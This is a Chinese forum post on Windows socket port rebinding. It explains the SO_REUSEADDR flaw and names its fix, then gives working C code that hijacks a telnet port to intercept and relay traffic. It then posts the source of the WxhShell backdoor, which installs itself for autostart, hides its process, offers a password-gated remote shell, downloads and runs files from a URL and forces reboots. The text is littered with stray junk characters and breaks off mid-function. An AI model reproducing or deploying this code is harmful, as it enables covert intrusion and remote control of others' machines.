社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9826阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~5LlIpf36|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GBnf]A,^ @  
nv>|,&;  
  saddr.sin_family = AF_INET; j_L1KB*  
C3 >X1nU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^y:!=nX^  
6iAHus-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d7 |3A  
i i&kfy  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /J{ e _a  
zIc%>?w  
  这意味着什么?意味着可以进行如下的攻击: j6x1JM  
 /6)6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Yzo_ZvL  
 g=W1y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) K[} 5bjh>  
Q'-g+aN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :: IAXGH)  
S5B12P  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e(nT2E  
#+$pE@u7A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 n?uVq6c  
*$+k-BV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \/=w \Tj  
.3Ex=aQcX  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "Z xM,kI  
*^agwQ`  
  #include 'Pk1 4`/  
  #include F?"#1j e  
  #include o[<lTsw<  
  #include    tx0`#x  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +<qmVW^X  
  int main() YT:])[gVV  
  { q6E8^7RtS@  
  WORD wVersionRequested; 7bcl^~lY  
  DWORD ret; _19x`J3  
  WSADATA wsaData; j;%RV)e  
  BOOL val; %&EDh2w>  
  SOCKADDR_IN saddr; )X-~+X91 S  
  SOCKADDR_IN scaddr; Iu(j"b#  
  int err; t<sy7e='  
  SOCKET s; N=4`jy =  
  SOCKET sc; !l2=J/LJj  
  int caddsize; qU!xh )  
  HANDLE mt; }M_Yn0(3  
  DWORD tid;   #"PI%&  
  wVersionRequested = MAKEWORD( 2, 2 ); *WS'C}T  
  err = WSAStartup( wVersionRequested, &wsaData ); 4n1-@qTPF~  
  if ( err != 0 ) { 4q%hn3\  
  printf("error!WSAStartup failed!\n"); o0SQJ1.a$  
  return -1; #Z%?lx"Q0  
  } &dA{<.  
  saddr.sin_family = AF_INET; s Yp?V\Y"  
   ~r(/)w\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (y^[k {#  
2R W^Nqc9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Y<1]{4Wt  
  saddr.sin_port = htons(23); ';T=kS<^_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~n)gP9Hv  
  { P?QVT;]  
  printf("error!socket failed!\n"); a+wc"RQ |  
  return -1; ,V$PV,G  
  } h7 uv0a~0  
  val = TRUE; wXj!bh8\r  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 bBwMx{iNNz  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~lg1S  
  { <<Zt.!hS  
  printf("error!setsockopt failed!\n"); J2tD).G  
  return -1; 'j6)5WL$  
  } "0BuQ{CQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 'ju  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 e-@=QI^,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o XKH,r  
ZH o#2{F  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (<.uvq61  
  { {u 7%Z}<0  
  ret=GetLastError(); l;u_4`1H  
  printf("error!bind failed!\n"); MqA%hlq  
  return -1; ;0R|#9oX_  
  } ^LaOl+;S  
  listen(s,2); f[S$ Gu4-  
  while(1) N\ Nwmx  
  { SLCV|@G  
  caddsize = sizeof(scaddr); pUTC~|j%:  
  //接受连接请求 V%kZ-P*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {'(1c)q>  
  if(sc!=INVALID_SOCKET) 0iy-FV;J  
  { u+U '|6)E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I\8f`l  
  if(mt==NULL) |dLA D4%  
  { ]t4 9Efw  
  printf("Thread Creat Failed!\n"); &DUt`Dr w  
  break;  G{4~{{tI  
  } F0&BEJBkU  
  } 7&I+mw/X  
  CloseHandle(mt); RU r0K#]  
  } 6[iuCMOZ  
  closesocket(s); | .8lS3C  
  WSACleanup(); ,7wxVR%Ys  
  return 0; KN41 kkN  
  }   T*m;G(  
  DWORD WINAPI ClientThread(LPVOID lpParam) O-5s}RT  
  { ,F4 _ps?(  
  SOCKET ss = (SOCKET)lpParam; qa|"kRCO  
  SOCKET sc; PA=.)8  
  unsigned char buf[4096]; 9lT6fW`v1Q  
  SOCKADDR_IN saddr; R78=im7  
  long num; ,{KjVv<  
  DWORD val; *jAw  
  DWORD ret; =CCxY7)M+.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4^? J BpBZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >'qkW$-95  
  saddr.sin_family = AF_INET; Dg:2*m_!j{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4nIs+  
  saddr.sin_port = htons(23); >_ )~"Ra  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {e>E4(  
  {  xr }jw  
  printf("error!socket failed!\n"); +N~?_5lv\s  
  return -1; 'Fe1]B"Y  
  } s :4<wmu4=  
  val = 100; hM": ?Rx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ."8bW^:  
  { z } L3//  
  ret = GetLastError(); &n|S:"B  
  return -1; Y<A593  
  } j|WuOZm\0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ISp'4H7R+N  
  { G:n,u$2a<  
  ret = GetLastError(); :tc]@0+  
  return -1; qQL]3qP  
  } xe4F4FC'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N[(ovr  
  { _t9@ vVQ  
  printf("error!socket connect failed!\n"); {95z\UE}  
  closesocket(sc); )v4?+$g  
  closesocket(ss); 4V$DV!dPQ}  
  return -1; =z=$S]qN  
  } Hl@)j   
  while(1) f/_RtOSw  
  { Z(' iZ'55F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]i}3`e?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3jH8pO^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E0g` xf 6c  
  num = recv(ss,buf,4096,0); AbWnDqv  
  if(num>0) jK#[r[q{  
  send(sc,buf,num,0); P^1+;dL,D  
  else if(num==0) x{$~u2|  
  break; ,+iREh;  
  num = recv(sc,buf,4096,0); p@/i e@DX  
  if(num>0) @kq~q;F  
  send(ss,buf,num,0); %*>ee[^L ,  
  else if(num==0) \~3g*V  
  break; jz\LI  
  } yNw YP%"y  
  closesocket(ss); #i#4h<R  
  closesocket(sc); B{:JD^V!  
  return 0 ; h4j{44MT  
  } &=seIc>x@  
qyfw$$X  
d[b(+sHp a  
========================================================== ?1r>t"e5  
q~3dbj  
下边附上一个代码,,WXhSHELL S\qYw(G  
HJ&|&tT  
========================================================== qk Cj33v  
Rf &~7h'+  
#include "stdafx.h" E7XFt#P.  
:d&^//9  
#include <stdio.h> UuNcBzB2d  
#include <string.h> :HDl-8]Lw  
#include <windows.h> -I#]#i@gX  
#include <winsock2.h> LD'eq\vO  
#include <winsvc.h> sj)$o94=  
#include <urlmon.h> o6FSSKM  
l'_P]@*  
#pragma comment (lib, "Ws2_32.lib") 7~t,Pt)  
#pragma comment (lib, "urlmon.lib") sT.:"Pj$  
%&c+} m  
#define MAX_USER   100 // 最大客户端连接数 E(5'vr0  
#define BUF_SOCK   200 // sock buffer Ol}^'7H  
#define KEY_BUFF   255 // 输入 buffer xB1Oh+@i  
_x.!, g{  
#define REBOOT     0   // 重启 \2F$FRWo  
#define SHUTDOWN   1   // 关机 6[-N})  
s^ t1T&  
#define DEF_PORT   5000 // 监听端口 ews4qP  
Z#-:zD7_  
#define REG_LEN     16   // 注册表键长度 DI P(  
#define SVC_LEN     80   // NT服务名长度 a0vg%Z@!  
t@a2@dX|  
// 从dll定义API V b=Oz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YS}uJ&WoF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H.8f-c-4we  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JN{.-k4Ha  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g$++\%k&  
NH?q/4=I0W  
// wxhshell配置信息 ?a8 o.&`l  
struct WSCFG { yQ33JQr  
  int ws_port;         // 监听端口 a88(,:t  
  char ws_passstr[REG_LEN]; // 口令 3NEbCILF  
  int ws_autoins;       // 安装标记, 1=yes 0=no -y8?"WB(b  
  char ws_regname[REG_LEN]; // 注册表键名 :R/szE*Ak  
  char ws_svcname[REG_LEN]; // 服务名 63ig!-9F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kIHfLwh9N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 YTiXU Oj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bt=%DMTn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hf2Q;n&V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .t/XW++  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ms^U`P^V~P  
|Rh%wJ  
}; *vx!twu1o  
`@8QQB  
// default Wxhshell configuration +="?[:  
struct WSCFG wscfg={DEF_PORT, Iz'*^{Ssm  
    "xuhuanlingzhe", ])dq4\Bw  
    1, Up61Xn  
    "Wxhshell", =WaZy>n}7  
    "Wxhshell", 5jj<sj!S  
            "WxhShell Service", dtK[H+  
    "Wrsky Windows CmdShell Service", pi>,>-Z  
    "Please Input Your Password: ", <&n\)R4C1  
  1, ,a N8`M  
  "http://www.wrsky.com/wxhshell.exe", gNon*\a,-B  
  "Wxhshell.exe" _Y7uM6HL\  
    }; p[E}:kak_-  
-Y#YwBy;M  
// 消息定义模块 [4V{~`sF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [25[c><:w"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }L.xt88  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LwpO_/qV  
char *msg_ws_ext="\n\rExit."; DKd:tL24&  
char *msg_ws_end="\n\rQuit."; 7J ~usF>A  
char *msg_ws_boot="\n\rReboot..."; MHs2UN  
char *msg_ws_poff="\n\rShutdown..."; PgNg1  
char *msg_ws_down="\n\rSave to "; Ae&470  
PZVh)6f"c  
char *msg_ws_err="\n\rErr!"; w1Z9@*C!  
char *msg_ws_ok="\n\rOK!"; KrcL*j&^  
+{Qk9Z  
char ExeFile[MAX_PATH]; ZzU3j^  
int nUser = 0; ),#%jc2_^  
HANDLE handles[MAX_USER]; =(ULfz[:  
int OsIsNt; MfJ;":]O!  
&5]&6TD6  
SERVICE_STATUS       serviceStatus; 0n5{Wr$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jB+K)NXHL  
!Cq2<[K#  
// 函数声明 !f 7CN<  
int Install(void); -;/;dz;  
int Uninstall(void); LvlVZjT  
int DownloadFile(char *sURL, SOCKET wsh); 1#KE4(  
int Boot(int flag); (vX+ Yw  
void HideProc(void); R`? '|G]P  
int GetOsVer(void); 0 K T.@P  
int Wxhshell(SOCKET wsl); #S?xRqkc  
void TalkWithClient(void *cs); ('H[[YODh  
int CmdShell(SOCKET sock); ~j%g?;#*  
int StartFromService(void); (*{Y#XD{  
int StartWxhshell(LPSTR lpCmdLine); {)E)&lL  
ao2NwH##  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EbEQ@6t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "E4;M/  
{q=(x]C  
// 数据结构和表定义 Wn61;kV_)  
SERVICE_TABLE_ENTRY DispatchTable[] = MeD}S@H  
{ ?P<8Zw  
{wscfg.ws_svcname, NTServiceMain}, 8UH c,np  
{NULL, NULL} FsZW,  
}; #G'Y 2l  
_J'V5]=4  
// 自我安装 :~K c"Pg  
int Install(void) } 0su[gy[  
{ IYeX\)Gv&  
  char svExeFile[MAX_PATH]; H/qv%!/o  
  HKEY key; Ne{2fV>8Ay  
  strcpy(svExeFile,ExeFile); C%hMh/Li;  
:A+nmz!z  
// 如果是win9x系统,修改注册表设为自启动 ^FaBaDcnl  
if(!OsIsNt) { 6Fp}U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A~MAaw!YE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 05]y*I  
  RegCloseKey(key); j<H5i}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T(Q(7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `zD]*i(  
  RegCloseKey(key); M4MO)MYJ  
  return 0; 8ZmU(m  
    } Lye^G% {  
  } S;pKL,d>r  
} l~|x*JTq  
else { <1r#hFUUL  
Nqf6CPXE  
// 如果是NT以上系统,安装为系统服务 0K+a/G@ n\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f{s}[p~  
if (schSCManager!=0) xvx5@lx  
{ K9{]v=#I  
  SC_HANDLE schService = CreateService fk*$}f  
  ( >_R,^iH"  
  schSCManager, ^T(v4'7  
  wscfg.ws_svcname, ,;RAPT4  
  wscfg.ws_svcdisp, :Q~Rb<']{x  
  SERVICE_ALL_ACCESS, FU;b8{Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \6]Uj+  
  SERVICE_AUTO_START, 9$]I3k  
  SERVICE_ERROR_NORMAL, ccUI\!TD{/  
  svExeFile, Y9YE:s  
  NULL, T7F)'Mx<  
  NULL, ??X3teO{  
  NULL, <4l;I*:2&  
  NULL, BZ2frG\0&I  
  NULL 0rnne L  
  ); 28/At  
  if (schService!=0) s&>U-7fx"  
  { 2[^p6s[  
  CloseServiceHandle(schService); : `Nh}Ka0  
  CloseServiceHandle(schSCManager); Zo=w8Hr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O,$ ?Pj6  
  strcat(svExeFile,wscfg.ws_svcname); bl/tl_.p00  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y(^hlX6gQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O r {9?;G  
  RegCloseKey(key); -0pAj}_2}  
  return 0; MST\_s%[  
    } %Z:07|57I[  
  } S,Y\ox-  
  CloseServiceHandle(schSCManager); `5J`<BPs  
} \J]qd4tF  
} }"QV{W  
EbG`q!C  
return 1; G@Jl4iHug"  
} [I XX#^F  
#YABb wH  
// 自我卸载 8`I/\8;H'p  
int Uninstall(void) E~[v.3`  
{ z8MKGM  
  HKEY key; }&E'ox<S  
erhxZ|."P  
if(!OsIsNt) { P~6QRm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (x+C =1,  
  RegDeleteValue(key,wscfg.ws_regname); =N,ahq  
  RegCloseKey(key); aPELAU-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rM|] }M=_V  
  RegDeleteValue(key,wscfg.ws_regname); ~~8?|@V  
  RegCloseKey(key); k&<cFZU  
  return 0; be@\5  
  } \J)ffEKIp  
} )MV`(/BC*  
} 0 It[Pa qG  
else { cx+li4v  
XIS.0]~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :)~idVlV  
if (schSCManager!=0) ,_G((oS40  
{ oBBL7/L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f@G3,u!]i  
  if (schService!=0) {c#{dT  
  { z_gjC%(y  
  if(DeleteService(schService)!=0) { 5.]eF$x2  
  CloseServiceHandle(schService); e9F\U   
  CloseServiceHandle(schSCManager); |i/Iv  
  return 0; |I0O|Zdv  
  } Q&JnF`*  
  CloseServiceHandle(schService); U]8 @  
  } @c >a  
  CloseServiceHandle(schSCManager); o?9k{  
} equ|v~@ y  
} *8WcRx  
>TnV Lx<  
return 1; E~b Yk6  
} (Lp$EC&%6  
KS9 e V  
// 从指定url下载文件 rM{3]v{~  
int DownloadFile(char *sURL, SOCKET wsh) ptA-rX.  
{ Ts~MkO  
  HRESULT hr; Boi?Bt  
char seps[]= "/"; %T_4n^beFQ  
char *token; @u4q\G\  
char *file; ?E6*Ef  
char myURL[MAX_PATH]; N9|v%-_?)  
char myFILE[MAX_PATH]; ``Yw-|&:Ae  
]>:LHW  
strcpy(myURL,sURL); Q5!"tF p  
  token=strtok(myURL,seps); qGH s2Og  
  while(token!=NULL) ,(D:cRN  
  { =P,h5J  
    file=token; ^")SU(`  
  token=strtok(NULL,seps); bOY<C%;C  
  } P S$6`6G  
p!XB\%sv'"  
GetCurrentDirectory(MAX_PATH,myFILE); BLno/JK0}  
strcat(myFILE, "\\"); D09/(%4j  
strcat(myFILE, file); t V]BcDp  
  send(wsh,myFILE,strlen(myFILE),0); hYj!*P)uV  
send(wsh,"...",3,0); )|d]0/<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c~bTK" u  
  if(hr==S_OK) %wc=Mf  
return 0; ;X9nYH  
else f{[] m(X;  
return 1; 5os(.   
Wej'AR\NX  
} 88]UA  
Zn-F!Lsv  
// 系统电源模块 s}O9[_v  
int Boot(int flag) Z*M]AvO+#  
{ Fq-A vU  
  HANDLE hToken; McXid~  
  TOKEN_PRIVILEGES tkp; IM^K]$q$47  
BB>R=kt  
  if(OsIsNt) { !_ng_,J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YNRorE   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LKEf#mp  
    tkp.PrivilegeCount = 1; m\Xgvpv rP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Vk#wJ-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F$!K/Mm[  
if(flag==REBOOT) { 9q4%s?)j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O6P{+xj$  
  return 0; QoU0>p+ 2  
} NI1jJfH|l  
else { + Q $J q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;I#f:UQ  
  return 0; 8}Qmhm`_j=  
} nWyn}+C-  
  } V>Zw" #Q  
  else { 7Zf * T  
if(flag==REBOOT) { 5y1:oiE/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SDW_Y^Tb  
  return 0; {cYS0%Go  
} zx(=ArCRr  
else { 9/@7NNKJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3=)!9;uY  
  return 0; {p70( ]v  
} G!^}z (Mgi  
} w7;,+Jq  
Q;'{~!=  
return 1; l1EI4Y9KG  
} +ROwk  
YyF=u~l  
// win9x进程隐藏模块 JIA'3"C  
void HideProc(void) 2,3pmb  
{ >@mvb@4*  
[ITtg?]F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R)<PCe`vf  
  if ( hKernel != NULL ) +@ j@#~=K  
  { JF+E.-fy$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )[c@5zy~*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^e 1Ux  
    FreeLibrary(hKernel); w<0F-0:8  
  } Avc9W[4  
\'BA}v &/  
return; "SV#e4C.  
} 0+vt LDq@P  
_tJm0z!  
// 获取操作系统版本 -k+}w_<Q  
int GetOsVer(void) Ul/Uk n$  
{ z|^+uL  
  OSVERSIONINFO winfo; E76#xsyhF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -D4"uoN.  
  GetVersionEx(&winfo); ;ye5HlH}.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &azy1.i~  
  return 1; _@gd9Fi7J  
  else |_Tp:][mf  
  return 0; sgc pH  
} X }W4dpU,  
*Bse3%-v  
// 客户端句柄模块 }1sFddGVt  
int Wxhshell(SOCKET wsl) '&OJ hLE  
{ TrEo5H;  
  SOCKET wsh; uE]kv  
  struct sockaddr_in client; t@Bl3Nt{  
  DWORD myID; ZliJc7lss  
)5O E~}>  
  while(nUser<MAX_USER) J$/'nL<{^  
{  3 cb$g  
  int nSize=sizeof(client); 65>1f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;4!,19AT  
  if(wsh==INVALID_SOCKET) return 1; | k:ecw  
GjfPba4>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T"tR*2HwSd  
if(handles[nUser]==0) $1F$3"k  
  closesocket(wsh); G 5T{*  
else 0[O."9  
  nUser++; b":3J)Y6.  
  } 6N<v&7cSB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2jUEL=+Y  
FD+y?UF  
  return 0; 5r-OE-U{  
} 4^jIV!V  
gpe/dfyJ9  
// 关闭 socket L2jjkyX]  
void CloseIt(SOCKET wsh) )yj:P  
{ xX5EhVR   
closesocket(wsh); gI /#7Cr  
nUser--; _?YP0GpU  
ExitThread(0); #3h~Z)+y  
} kW!`vQm~  
3`mM0,fY  
// 客户端请求句柄 z5|m`$gy  
void TalkWithClient(void *cs) ALOS>Bi&  
{ icw (y(W  
; { MK  
  SOCKET wsh=(SOCKET)cs; WA$Ug  
  char pwd[SVC_LEN]; r) SG!;X  
  char cmd[KEY_BUFF]; 8F;f&&L"y  
char chr[1]; @}8~TbP  
int i,j; b;O@|HK&~  
x&N!SU6  
  while (nUser < MAX_USER) { B'kV.3t  
_^(}6o  
if(wscfg.ws_passstr) { !SxZN dv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [l7 G9T}/[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0?0$6F  
  //ZeroMemory(pwd,KEY_BUFF); .GM}3(1fX`  
      i=0; A;'*>NS  
  while(i<SVC_LEN) { fEMz%CwH  
Xe J|Z)qZ  
  // 设置超时 `-J$7)d@  
  fd_set FdRead; WYayr1  
  struct timeval TimeOut; dTwZ-%  
  FD_ZERO(&FdRead); 2`ED?F68gH  
  FD_SET(wsh,&FdRead); {f12&t  
  TimeOut.tv_sec=8; M< 1rQW'  
  TimeOut.tv_usec=0; DJGq=*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %_>+K;<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S Y7'S#  
l"ZfgJ}W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wi5rXZS  
  pwd=chr[0]; M#U#I :z%  
  if(chr[0]==0xd || chr[0]==0xa) { .vm.g=-q  
  pwd=0; (0c L! N;;  
  break; bY>JLRQJ-  
  } ~ZN]2}  
  i++; O*:8gu'Y2  
    } |LwW/>I  
%dN',  
  // 如果是非法用户,关闭 socket ZnVx 'Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VY#:IE:T  
} ;#>,eD2u  
Onqd2'%<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sgRD]SF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^-Knx!z  
Z`9yGaTO  
while(1) { l|Z<pD  
`Qg#`  
  ZeroMemory(cmd,KEY_BUFF); `n{yls7.  
G=Qslrtg  
      // 自动支持客户端 telnet标准   i]L4kh5  
  j=0; Og8'K=O#  
  while(j<KEY_BUFF) { |fd}B5!c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GY[+HgT  
  cmd[j]=chr[0]; Z ^w5x:  
  if(chr[0]==0xa || chr[0]==0xd) { xwm-)~L4T  
  cmd[j]=0; HfN:oww  
  break; 49;2tl;F  
  } )RFE< Qcj  
  j++; -T  5$l  
    } r8uc.z2%  
t622b?w  
  // 下载文件 |}O9'fyU8  
  if(strstr(cmd,"http://")) { ! 54(K6a[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,M)NC%0X  
  if(DownloadFile(cmd,wsh)) bns([F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R06zca  
  else R'.YE;leBG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &M6cCT]&M  
  } y9>?  
  else { 2|8&=K /  
2S{IZ]  
    switch(cmd[0]) { sXmZ0Dv  
  "?yu^  
  // 帮助 2Y2J)5,  
  case '?': { @uWPo2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JuD$CHg;#  
    break; FQ72VY  
  } >~% _U+6  
  // 安装 :2\H>^u V  
  case 'i': { s)e'}y  
    if(Install()) =u+.o<   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N-+`[8@(P<  
    else 6kc/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5nhc|E)C  
    break; G#~6a%VW  
    } 3cp"UU}.  
  // 卸载 j1LL[+G-"_  
  case 'r': { -c1$>+  
    if(Uninstall()) v8< MAq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZV=)`E`I|  
    else QCI-YJ&o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @$ea-fK??  
    break; ~ 3HI;  
    } g@ ZZcBx  
  // 显示 wxhshell 所在路径 -i}@o1o\  
  case 'p': { 4/rd r80  
    char svExeFile[MAX_PATH]; e?&4;  
    strcpy(svExeFile,"\n\r"); ,B,2t u2  
      strcat(svExeFile,ExeFile); I'_.U]An  
        send(wsh,svExeFile,strlen(svExeFile),0); 7;_./c_@  
    break; & q(D90w.  
    } Xu1tN9:oE  
  // 重启 Z~.3)6,z  
  case 'b': { -6+&?f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T]5JsrT  
    if(Boot(REBOOT)) qP"<vZ  
